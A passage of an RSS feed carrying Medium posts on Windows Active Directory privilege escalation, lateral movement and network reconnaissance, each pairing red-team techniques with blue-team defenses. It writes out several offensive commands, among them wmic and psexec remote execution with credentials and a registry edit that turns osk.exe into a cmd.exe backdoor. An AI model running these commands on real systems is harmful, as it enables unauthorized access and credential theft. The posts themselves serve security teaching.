href="https://www.ey.com/Publication/vwLUAssets/EY_Data_Loss_Prevention/$FILE/EY_Data_Loss_Prevention.pdf">https://www.ey.com/Publication/vwLUAssets/EY_Data_Loss_Prevention/$FILE/EY_Data_Loss_Prevention.pdf</a>&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d058ca616df" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/find-and-access-sensitive-data-4d058ca616df">Find and Access Sensitive Data</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalate Domain privileges]]></title>
            <link>https://medium.com/redteam-blueteam-series/escalate-domain-privileges-e53ae4027856?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/e53ae4027856</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[domains]]></category>
            <category><![CDATA[threat]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Mon, 04 May 2020 02:49:45 GMT</pubDate>
            <atom:updated>2020-05-04T14:23:50.701Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*XcOAVhTFKqjpJdMZnRwrQA.png" /></figure><p>Many of the methods for gaining domain administrative privileges are the same as or similar to those used to gain local administrative privileges. The most important server in any Windows domain is the <strong>domain controller</strong>. When we compromise this server, we have full access to all user accounts and every server that is joined to the domain. Windows handles tons of authentication requests between itself and other hosts automatically for you. Unfortunately, neither of them even tries to make sure their partner is genuine… at least by default. So with the help of known data gathered from <a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11"><em>local reconnaissance</em></a><em> &amp; </em><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c"><em>internal network discovery.</em></a></p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Active Directory- Domain Privilege Escalation, is an exploitation technique in which perpetrators identify and exploit unauthorized access in ACLs of Active Directory objects to compromise them and escalate privilege. Active Directory Privilege Escalation lets attackers compromise domain user accounts, computer accounts, security groups and other Active Directory content, including privileged users and groups. The compromise of a single Active Directory privileged user or group is sufficient to obtain complete command and control over the entire Active Directory, and is equivalent to complete compromise. let’s find the techniques we can put to gain domain privileges.</p><p><strong>1.Attack by stealing Authentication Tokens</strong></p><ul><li>Compromise a single workstation and exploit a privilege escalation vulnerability on the system to gain administrative rights. Run <a href="https://adsecurity.org/?page_id=1821">Mimikatz </a>or similar to <a href="https://adsecurity.org/?page_id=1821#LSADUMPSAM">dump local credentials</a> and <a href="https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords">recently logged on credentials</a>.</li><li>Using the local Administrator credentials gathered from Step 1 attempt to authenticate to other workstations with admin rights. Connect to other workstations and dump credentials on those until a Domain Admin account’s credentials are harvested.</li><li>With the stolen Domain Admin credentials, nothing can stop the attacker from <a href="https://adsecurity.org/?p=1729">dumping all domain credentials</a> and persisting.</li></ul><p><strong><em>1a)Password/private key — Pass the Hash — Pass the Ticket</em></strong></p><p>All these once compromised can be able to get the account whenever attacker wanted(unless modified/patched). Most service accounts don’t have passwords set to expire, so it’s likely the same password will be in effect for months if not years.</p><p><strong>2. Domain Controller Attack</strong></p><p><strong><em>2a)Exploits — </em></strong>Exploits such as MS17–010, MS16–077, MS14–068 can be helpful to exploit a machine for privilege escalation if not patched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*5q60xjqOqJokuo07H7wYlw.png" /><figcaption>nmap Script to check the vulnerable system across the subnet</figcaption></figure><ul><li>Mitm6 is an incredibly powerful tool for obtaining and escalating privileges on your typical Windows broadcast network. Using smbrelay + mitm6 or NTLMrelayx + mitm6 to gain domain administrator. This also works if victim do not have the MS16–077 patch applied.</li><li>MS14–068 exploits enables an attacker to effectively re-write a valid Kerberos TGT authentication ticket to make them a Domain Admin (and Enterprise Admin). Mimikatz has module called <a href="https://github.com/gentilkiwi/kekeo">Kekeo </a>that works on MS14–068 exploit.</li></ul><p><strong><em>2b)Kerberos attack</em></strong> — <a href="https://twitter.com/TimMedin">Tim Medin</a> presented this technique at <a href="https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20-%20Tim%20Medin(1).pdf">SANS Hackfest 2014</a></p><p>Kerberos can be an effective method for extracting service account credentials from Active Directory as a regular user without sending any packets to the target system.</p><p>This attack involves requesting a Kerberos service ticket(s) (TGS) for the Service Principal Name (SPN) of the target service account. This request uses a valid domain user’s authentication ticket (TGT) to request one or several service tickets for a target service running on a server. Due to less trust checks Kerberost can attempt to open the Kerberos ticket by trying different NTLM hashes and when the ticket is successfully opened, the correct service account password is discovered.</p><p>“As I said in <a href="https://medium.com/redteam-blueteam-series/maintain-local-persistence-6624c31e8b2c"><em>maintain local persistence blog</em></a>.. Kerberos tickets can be used for escalating privileges.”</p><p><strong><em>Note:</em></strong><em> No elevated rights are required to get the service tickets and no traffic is sent to the target.</em></p><p><strong><em>2c) GPP</em></strong><em> — </em>finding local admin passwords in SYSVOL, such as Group Policy Preferences.</p><p>This method is the simplest since no special “hacking” tool is required. All the attacker has to do is open up Windows explorer and search the domain SYSVOL DFS share for XML files. Most of the time, the following XML files will contain credentials: groups.xml, scheduledtasks.xml, &amp; Services.xml.</p><blockquote>SYSVOL is a shared folder that stores GP info along with login scripts or we can say it contains the public files of domain controllers and every domain users has rights to access the <strong>sysvol folder</strong> and its contents in read only mode. if there is a password provided, it is AES-256 bit encrypted which can be <a href="https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx">decrypted after Microsoft published the key</a>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-oBOXQBwQ21Rf9IkiJwQYQ.png" /><figcaption>GPP Xml file-Check cpassword attribute</figcaption></figure><p><strong><em>2d)Delegated privileges </em>— </strong>Delegation is a function that allows users to entrust a server on behalf of themselves for authentication to any other service. It is mainly used in the scenario where a service needs to request access to other service resources on behalf of a user. In simple words “<em>Delegation is a feature of Active Directory that allows a user or a computer to impersonate another account.”</em></p><p>This feature can be configured through the Delegation tab on a user or computer account. By selecting “Trust this computer for delegation to any service (Kerberos only),” you are enabling “unconstrained delegation”. Alternatively, you can specify a set number of Service Principal Names (SPNs) to restrict exactly what services a user or computer can impersonate, which would be considered “constrained delegation”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*fJMeOpr0pFwa3mVvuRihZg.png" /><figcaption>Delegation properties windows</figcaption></figure><p>Once you turn on unconstrained delegation to a computer, any time an account connects to that computer for any reason, their ticket-granting ticket (TGT) is stored in memory so it can be used later by the computer for impersonation. With unconstrained delegation enabled, when the privileged user connects to your machine, their TGT will be stored in memory, which can be replayed to <strong><em>move laterally and compromise a domain controller.</em></strong></p><p><strong><em>2e)Nested groups </em>— </strong>Most active directory structures will include nested groups and will not be completely flat. For an example of the challenges of nested groups, consider the following example:</p><p>John may be a member of Group A</p><p>Group A may be a member of Group B</p><p>Group B may be a member of Group C</p><p>Group C may be a member of the ‘Domain Admins’ group</p><p>Therefore, John will effectively be a domain administrator, but this fact will not be obvious from a flat list of users and groups. The benefit of this method over all other completely manual implementations is that this will perform a single query regardless of the size of the target AD.</p><p><em>Metasploit has following modules against AD enumeration</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*f64XhmGaiB6jVATyvnHJlA.png" /><figcaption>Metasploit modules</figcaption></figure><p><strong><em>2f)Domain Trust &amp; SID History </em>— </strong>Adversaries may attempt to gather information on domain trust relationships that may be used to identify Lateral Movement opportunities in Windows multi-domain/forest environments.</p><p>Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain. Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct <a href="https://attack.mitre.org/techniques/T1178">SID-History Injection</a>, Pass the Ticket, and Kerberoasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*wwfj3-HU5NDutbxKU4BxIw.png" /><figcaption>Enumerate domain trust using windows built-in utility</figcaption></figure><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>Domain administrator accounts shouldn’t be used on any other machine than the domain controllers, or you will make you an easier target for a full compromise of your network. Follow best practices to immune against the privilege escalation threat.</p><p><strong>Endpoint Level:</strong></p><p><strong><em>1. Purchase Threat Detection &amp; Prevention tools </em></strong>— Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, atleast it will detect so that we can perform necessary actions to remediate.</p><p><strong><em>2. Implementing Secure Group Policie</em></strong>s like a) Disallow Removable Media b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p><strong><em>3. Installing security patches</em></strong> (Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p><strong><em>4. Configuring AppLocker</em></strong> and Whitelisting and blacklisting applications based on organization dependency.</p><p><strong><em>5. Privileged Access Management (PAM) microsoft tool </em></strong>provides a way to securely delegate and manage Directory Services.</p><p><strong><em>6. Implementing SIEM </em></strong>in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM, Monitor the above mentioned registry keys for any violation)</p><p><strong><em>7. Account segmentation</em></strong> prevents privilege escalation.</p><p><strong>Network Level:</strong></p><p>1. Installing NIDs/NIPs facilitates to detect and prevent the attacks over network.</p><p>2. Implement Honeypots and Canary Tokens which helps to identify the attacks before major impact happens</p><p>3. Implementing Network segregation — Segregating sensitive data containing systems to make them more difficult to access.</p><p>4. Implementing Tarpit network security mechanism which helps against computer worms and network abuses.</p><p>5. Implementing SIEM in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM — many ID were mentioned for mostly Lateral movement attacks)</p><p><strong>Process Level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Don’t use shared local accounts.</p><p>3. Use a separate domain user and server admin accounts.</p><p>4. Maintain Secure Configurations.</p><p>5. Implement incident respond procedures for <strong>handling</strong> security <strong>incidents</strong>, breaches, and cyber threats</p><p>6.Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/lateral-movement-702e5b2a5177"><em>Previous episode — Lateral movement &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/find-and-access-sensitive-data-4d058ca616df"><em>Next episode — Find &amp; access sensitive data &amp; it’s defenses</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://nsfocusglobal.com/windows-domain-machines-local-privilege-escalation-attack-threat-alert/">https://nsfocusglobal.com/windows-domain-machines-local-privilege-escalation-attack-threat-alert/</a>&gt;</p><p><a href="https://blog.stealthbits.com/rid-hijacking-when-guests-become-admins/">https://blog.stealthbits.com/rid-hijacking-when-guests-become-admins/</a> — RID Hijacking</p><p><a href="https://labs.f-secure.com/archive/active-directory-users-in-nested-groups-reconnaissance/">https://labs.f-secure.com/archive/active-directory-users-in-nested-groups-reconnaissance/</a></p><p><a href="https://blog.stealthbits.com/unconstrained-delegation-permissions/">https://blog.stealthbits.com/unconstrained-delegation-permissions/</a></p><p><a href="https://sec-consult.com/en/blog/2019/04/windows-privilege-escalation-an-approach-for-penetration-testers/">https://sec-consult.com/en/blog/2019/04/windows-privilege-escalation-an-approach-for-penetration-testers/</a></p><p><a href="https://www.beyondtrust.com/resources/whitepapers/external-attacks-privileged-accounts-5-steps-control-threat-potential">https://www.beyondtrust.com/resources/whitepapers/external-attacks-privileged-accounts-5-steps-control-threat-potential</a></p><p><a href="https://blog.compass-security.com/2019/07/privilege-escalation-in-windows-domains-1-3/">https://blog.compass-security.com/2019/07/privilege-escalation-in-windows-domains-1-3/</a>&gt;</p><p><a href="https://blog.compass-security.com/2019/08/privilege-escalation-in-windows-domains-2-3/">https://blog.compass-security.com/2019/08/privilege-escalation-in-windows-domains-2-3/</a></p><p><a href="https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/">https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e53ae4027856" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/escalate-domain-privileges-e53ae4027856">Escalate Domain privileges</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lateral Movement]]></title>
            <link>https://medium.com/redteam-blueteam-series/lateral-movement-702e5b2a5177?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/702e5b2a5177</guid>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Sun, 03 May 2020 19:40:19 GMT</pubDate>
            <atom:updated>2020-05-04T14:24:36.898Z</atom:updated>
            <content:encoded><![CDATA[<p>The number and complexity of cyber-attacks are ceaselessly increasing while the existing security measures is far lagging in detecting sophisticated attacks such as lateral movement.</p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Lateral movement which is also known as east-west movement is a later stage of an APT attack in which the attacker tries to exploit credentials to perform pass the hash attack, escalate privileges, and finally reaching his final targets which are critical systems where key data and assets resides and establish and maintain access to the compromised network and increases his footprints by compromising other computers, servers and infrastructure components. Lateral movement attack are performed using legitimate computer features and tools.</p><p>Advance persistent threat (APT) is a set of stealthy and relentless hacking processes, in which a group of highly skilled cyber-criminal gains unauthorized access to a targeted network, steals sensitive information and remains undetected while having permanent access to the network. The aim of APT is not to cause damage to the network but to have constant access to the sensitive data.</p><p><em>Most common lateral movement methods: PSEXEC, Windows Management Instrumentation, and Pass the hash</em></p><p>Single factor authentication (username and password) makes attacker job easy because once he steals the administrator’s username and password then he uses legitimate tools: PSEXEC, WMI and techniques (Pass the Hash) to remotely access the system and install persistent backdoors. With valid administrator credentials the attacker uses dumping tools: PROCDUMP to dump the usernames and hashes and access other machines on the network. The majority of system administrators implement Credentials reuse.</p><blockquote><em># Credential reuse means using the same username and password for multiple accounts or machines.</em></blockquote><p>listed are the methods used by attackers before moving laterally in the network:</p><p><strong>Credential Harvesting:</strong> The attacker can steal or exploit credentials (passwords, hashes) using social engineering techniques, use defaults credentials, perform phishing attack or dumping LSASS of the victim machine using the techniques mentioned in earlier blogs .</p><p><strong>Persistence: </strong>Maintain persistence of a compromised system to perform additional operations which can be done in a number of ways. <a href="https://medium.com/redteam-blueteam-series/maintain-local-persistence-6624c31e8b2c">Please refer the blog</a>.</p><p><strong>Internal Reconnaissance : </strong>perform internal reconnaissance to better understand the network architecture, the type of firewall installed, and other network information. This knowledge is important because it helps the attacker to avoid detection. Please refer these blogs <a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11"><em>reconnaissance on local systems </em></a><em>&amp; </em><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c"><em>internal Network links</em></a><em>.</em></p><p><strong>Escalate privileges</strong>. Most of the time the attacker motive is to go much deeper into the network by escalating privileges based on the knowledge the attacker acquired during reconnaissance. Tools like PSEXEC, and WMI, allows the attacker to access, scheduling tasks and execute malicious code on other machines on the network using the knowledge and credentials he obtained in the previous three steps (Credential harvesting, remain persistence, internal reconnaissance).</p><blockquote>Start a process remotely with credentials</blockquote><blockquote><em>wmic /node:target /user:username /password:p@ss process call create “calc.exe”</em></blockquote><blockquote><em>wmic /authority:”kerberos:Domain\user” /node:SQL01 process call create ‘reg.exe add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe”’</em></blockquote><p>Some of the methods/tools attackers perform for lateral movement.</p><p><strong>1) Lateral movement via SMB protocol — </strong>SMB protocol is used to share files and printers on a network. Numerous vulnerabilities exist in SMB protocol. Exploitations of SMB vulnerabilities have immense impact because of its high percentage usage in critical infrastructure such as banking and finance, electricity grids, law enforcement agencies, aviation and medical centers.</p><p>Also in the real world most of the communication protocols are interlinked. Vulnerability in one protocol can lead to exploitation of other protocols or machines. For example vulnerability in authentication protocols (like NLTM, Kerberos) can lead to exploitation of SMB protocol.</p><blockquote># Including file system support, SMB protocol also specializes in Inter process communication (IPC). IPC share is useful because it facilitates data exchange between computers over SMB protocol.</blockquote><p>SMB protocol provides two level of security that is user level and share level. Share is a file or printer that can be accessed by client. In user level authentication the client provides username and password.</p><p>some of the well-known SMB protocol vulnerabilities that can be exploited by an attacker to perform lateral movement attack:</p><p>i) SMB-RELAY, which is a specific type of man in the middle attack perform to steals users SMB credentials.</p><p>In situations where the Windows shares are not properly configured, these poorly configured shares can be exposed to the rest of the internet. Attackers can exploit abominably protected shares by exploiting week or null passwords and thus gain access to the administrative shares.</p><blockquote><em>wmicexec.py user:pa55w0rd@10.0.0.10</em></blockquote><blockquote>EXECUTING CODE VIA SMB / DCOM WITHOUT PSEXEC</blockquote><p>Recently in March-2020, we have seen vulnerabilities in SMB-V3 after major outbreak of SMBV2 vulnerability which leads to WannaCry/Eternal Blue attack.</p><p><strong>2) PsExec</strong> — Most of the network administration tools are developed to provide flexibility in managing interconnected devices, and services. But if misused for malicious activities it can be destructive. It is the same case with PsExec from sysinternals. PsExec can be used for malicious activities.<em> For the PsExec to work, two requirements must be fulfilled, first requirement is both local and remote computers must enable file and print sharing and second requirement is remote computer must have defined Admin$ share.</em></p><p><strong><em>psexec.exe \\IP address of remote machine −u username −p password -accepteula maclicious.exe</em></strong></p><p>When PsExec is executed it defaults to the directory on the remote system %SY STEM%. Using the victim credentials the attacker authenticates to the victim machine and try to gain access to the Admin$ share (C:\Windows). Access to Admin$ share is important specially when deploying software. Credentials supplied to PsExec have the permission to access Admin$ share.</p><p>Once the attacker get access to the Admin$, he can push the executable (.exe) malicious code into the Admin$, IPC$ shares. Now the attacker makes a separate call to the Remote Procedure Call (RPC) on the victim machine, which is running over the SMB protocol. Through RPC the attacker can talk with the Service Control Manager (SCM). SCM is maintaining and managing all the services running in the background. SCM loads the executable (.exe) and treat it as a service. <em>Once the SCM puts the malicious .exe file in the memory the service shutdowns.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*ZLW58kwT0cA868bu1Gfy7w.png" /><figcaption>finding shares</figcaption></figure><p><strong>3) Local Authentication Tokens: Session abuse — </strong>Rundll32 scheduled task — Token manipulation — session abuse</p><p><strong>4) Credential Reuse — </strong>Credential reuse exploitation happens when many machines are having same password or hashes. For example if the attacker obtains the NTLM hashes of one SMB target, he can reuse the same hashes against other SMB targets in the network.</p><p><strong><em>Credential Domino Meta Module — Metasploit has module</em></strong></p><p>Credential reuse is mostly used against the services like SMB, SNMP, SSH, TELNET, MSSQL, and MySQL. Credential reuse is serious issue because if a system that’s vulnerable to credential reuse exploitation allow the attacker to bypass all the security controls and patches.</p><p><strong>5) Windows Management Instrumentation(WMI) — </strong>is a tool that is <strong><em>implemented as service</em></strong> to locally and remotely manages data, operations and configuring settings on windows operating systems. WMI has its own query language called WQL. It also supports other scripting languages like Windows Script Host, VBScript, and PowerShell. WMI can be interacted locally and remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*YwukoJKRtYq68bhbwnbxdQ.png" /><figcaption>WMI Structure</figcaption></figure><p><strong><em>Attack Scenarios :</em></strong>- i) Creating malicious event using WMI Eventing -</p><p><strong><em>DCOM and WinRM</em></strong> are handy tools for system administrator, but these tools can also be used for malicious purposes especially when its traffic is not inspected or filtered for malicious scripts or code and also no anti-virus can detect it. As we obtained the valid credentials (password or hashes) through following previous mentioned techniques we can specify malicious events to happen for example every time the victim restarts the computer run the executable that is present in the specified directory. This attack is a<em> </em><a href="https://medium.com/redteam-blueteam-series/maintain-local-persistence-6624c31e8b2c"><em>persistent attack;</em></a> every time the system restarts the malicious code gets executed on the victim machine.</p><p>In order to trigger off an event there are three requirements : a) Event Filter b) Event Consumer c) Binding Filter and Consumer</p><p><strong><em>Event Consumers like ActiveScriptEventConsumer and CommandLineEventConsumer allows you to execute any payload against the victim machine..</em></strong></p><p><strong><em>6) Pass the Hash /Pass the ticket </em></strong><em>—</em><a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11"><em> Check the local system </em></a><em>&amp; </em><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c"><em>internal network reconnaissance blog.</em></a></p><p>Without even cracking the hashes, the attacker uses the hashes to impersonate the victim and login into the victim account or system. Any system using LM or NTLM authentication in combination with any communication protocol (SMB, FTP, RPC, HTTP etc.) is at risk from pass the hash attack. The passwords can be obtained from dumping LSASS memory or utilize VSSADMIN.EXE and pull out the creds from backup file taken and using tools like NTDS Extract.</p><p>7) <strong>RDP Attack</strong> — Dropping payload or accessing other systems using RDP compromised credentials. Recent RDP vulnerability could allow attackers remote sessions.</p><p>Recently released Socks over RDP plugin creates a proxy to terminal services which uses dynamic virtual channel that enables us to communicate over an open RDP connection withouot the need to open a new socket, connection or a part on a firewall.</p><p><strong><em>8) Dropping malware/payload</em></strong>s using deployment/management/SCCM softwares like Citrix, Landesk, Solarwinds, Zendesk<strong>. </strong>Built-in tools like these helps to drop malware/payload if policies are not securely configured.</p><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>Whenever an attacker want to exploit remote machines, he tries to remain anonymous, undetected, transfer and execute malicious code, create and start services, tries to bypass normal authentication procedures, guess wrong passwords and hashes until he gets the correct credentials. All of these behaviors enhance the possibility of malicious activities in the network. Even to understand intrinsic security dependencies, it is important to know the relationships between accounts and access privileges across all systems on a network. Let’s see how we can implement security measures for defending at various levels.</p><p><strong>Endpoint Level:</strong></p><p><strong><em>1. Purchase Threat Detection &amp; Prevention tools</em></strong> — Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, atleast it will detect so that we can perform necessary actions to remediate.</p><p><strong><em>2. Implementing Secure Group Policie</em></strong>s like a) Disallow Removable Media b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p><strong><em>3. Installing security patches</em></strong> (Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p><strong><em>4. Configuring AppLocker </em></strong>and Whitelisting and blacklisting applications based on organization dependency.</p><p><strong><em>5. Implementing SIEM</em></strong> in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM, Monitor the above mentioned registry keys for any violation)</p><p><strong>Network Level:</strong></p><p>1. Installing NIDs/NIPs facilitates to detect and prevent the attacks over network.</p><p>1. Traffic containing random hostnames clearly signifies the possibility of unwanted activities in the network.</p><p>2. Empty session key in NTLM authentication is an indication of anomalous network behaviour.</p><p>3. Comparison between number of Write commands towards IPC$ in normal and malicious.</p><p>4. Before the correct password is hit, large number of wrong passwords are tried. Every time a wrong password is enter, NTLM authentication protocol generates access denied or logon failure message. comparison between number of normal and malicious error messages</p><p>5. The attacker copy malicious executables to the victim machine and installs these executables which run as services in order to have an ongoing access to the victim machine. The number of remote services installed and running in anomalous situations are much higher than normal behaviour of the network.</p><p>6. Implement Honeypots and Canary Tokens which helps to identify the attacks before major impact happens</p><p>7. . Implementing Network segregation — Segregate the systems to make them more difficult to move laterally and even stops to access data.</p><p>8. Implementing Tarpit network security mechanism which helps against computer worms and network abuses.</p><p>9. Implementing SIEM in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM — many ID were mentioned for mostly Lateral movement attacks)</p><p>10. Configuring network firewall rules.</p><p>Random hostname and empty session key if present in any traffic immediately indicates malicious behaviour because they are only present in malicious traffic and identifies the exploitation of normal protocols behaviour. While the remaining three detection techniques imply malicious behaviour if their number are above a fixed threshold which has to be learned using supervised machine learning algorithms.</p><p>Two factor-authentication may help in reducing the risk of lateral movement by introducing a new security check. However, this requires changes to the infrastructure, such as introducing security tokens.</p><p><strong>Process level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Don’t use shared local accounts.</p><p>3. Use a separate domain user and server admin accounts.</p><p>4. Maintain Secure Configurations.</p><p>5. Implement incident respond procedures for <strong>handling</strong> security <strong>incidents</strong>, breaches, and cyber threats</p><p>6.Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c"><em>Previous episode — Performing internal reconnaissance &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/escalate-domain-privileges-e53ae4027856"><em>Next episode — Escalate Domain Privileges</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://medium.com/u/123987db5653">Google B2B Team</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=702e5b2a5177" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/lateral-movement-702e5b2a5177">Lateral Movement</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perform Network Reconnaissance/Discovery]]></title>
            <link>https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/31e8e7550a3c</guid>
            <category><![CDATA[sniffing]]></category>
            <category><![CDATA[ueba]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Sun, 03 May 2020 19:20:13 GMT</pubDate>
            <atom:updated>2020-05-04T14:25:53.667Z</atom:updated>
            <content:encoded><![CDATA[<p>The process for internal reconnaissance is the same as the initial reconnaissance step in the cyber kill chain. However, more detailed information can be gathered in the internal network, which can also be used for performing<em> privilege escalation and lateral movement later.</em> Performing local reconnaissance on internal systems and network reconnaissance on internal network, both comes under same group as their main objective is to gather adequate information about internal organization structure. Internal reconnaissance is also referred to as post-exploitation reconnaissance. These attacks are mostly caused by the fact that mechanisms such as Address Resolution Protocol (ARP), Dynamic Host Configuration Protocol (DHCP), and Domain Name System (DNS) are not configured properly. One of the most important attacks that can be encountered is undoubtedly <strong><em>Man-in-the-Middle.</em></strong></p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Perform internal network scanning to determine the level of network segregation, network architecture, and identify vulnerable services. Depending on the required goal and TTPs, the following additional information can be collected.</p><ul><li>File Shares (SMB, NFS, SharePoint, Proprietary data collections)</li><li>Network segregation</li><li>Domain Controllers</li><li>Proxy settings</li></ul><p>The above information can be find using tools and techniques from passive reconnaissance, Active reconnaissance and Domain controllers.</p><ol><li><strong>Passive Reconnaissance: </strong>To understand what is happening in a network, <strong><em>sniffing</em></strong> and <strong><em>scanning</em></strong> is performed. Network sniffing refers to using network interface on a system to monitor or Capture information sent over a wired or wireless connection by placing network interface into promiscuous mode to passively access data in transit over the network. Once you compromised a machine create a listener on the victim machine to perform further activities.</li></ol><ul><li>If a sniffer is installed on the machine (like tcpdump or Wireshark’s tshark tool), run it to look for network traffic to identify other possible target machines, as well as cleartext protocols containing sensitive or useful information.</li><li><strong><em>PowerView</em></strong> is a PowerShell tool to gain network situational awareness on Windows domains.</li></ul><blockquote>LLMNR stands for -&gt; Link-Local Multicast Name Resolution, is a protocol that is processed when the local DNS server fails in name resolution.</blockquote><blockquote>NBT-NS stands for -&gt; NetBIOS Name Service, an API, not a protocol, used communicate between Windows operating systems.</blockquote><ul><li>LLMNR/NBT-NS Poisoning abuses the default behaviour of Microsoft Window’s name resolution services and steals authentication credentials.</li></ul><p>Attack Technique: When a windows host cannot resolve a hostname using DNS, it uses the LLMNR protocol (Link-Local Multicast Name Resolution) to ask neighboring computers about it. If that also fails, then it uses the NBT-NS, So using sniffing tool — Responder, we capture the hash &amp; then perform decoding.</p><p>Network sniffing(by Impacket) — NETBIOS Name service poisoning — Responder — MITM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*LbzINDh6MS9C1tuyhJOZLw.png" /><figcaption><strong>Capture the NTLMv2 hash by manipulating the traffic</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*4bxzsR1Knbh9fPehRsRr_w.png" /><figcaption>LLMNR protocol observation in wireshark</figcaption></figure><p><strong>2. Active Reconnaissance: I</strong><em>n many cases &amp; many stages of attack, the attackers actually use IT Tools that they manage their n/w in order to perform diff operations.</em></p><p><strong><em>Networking 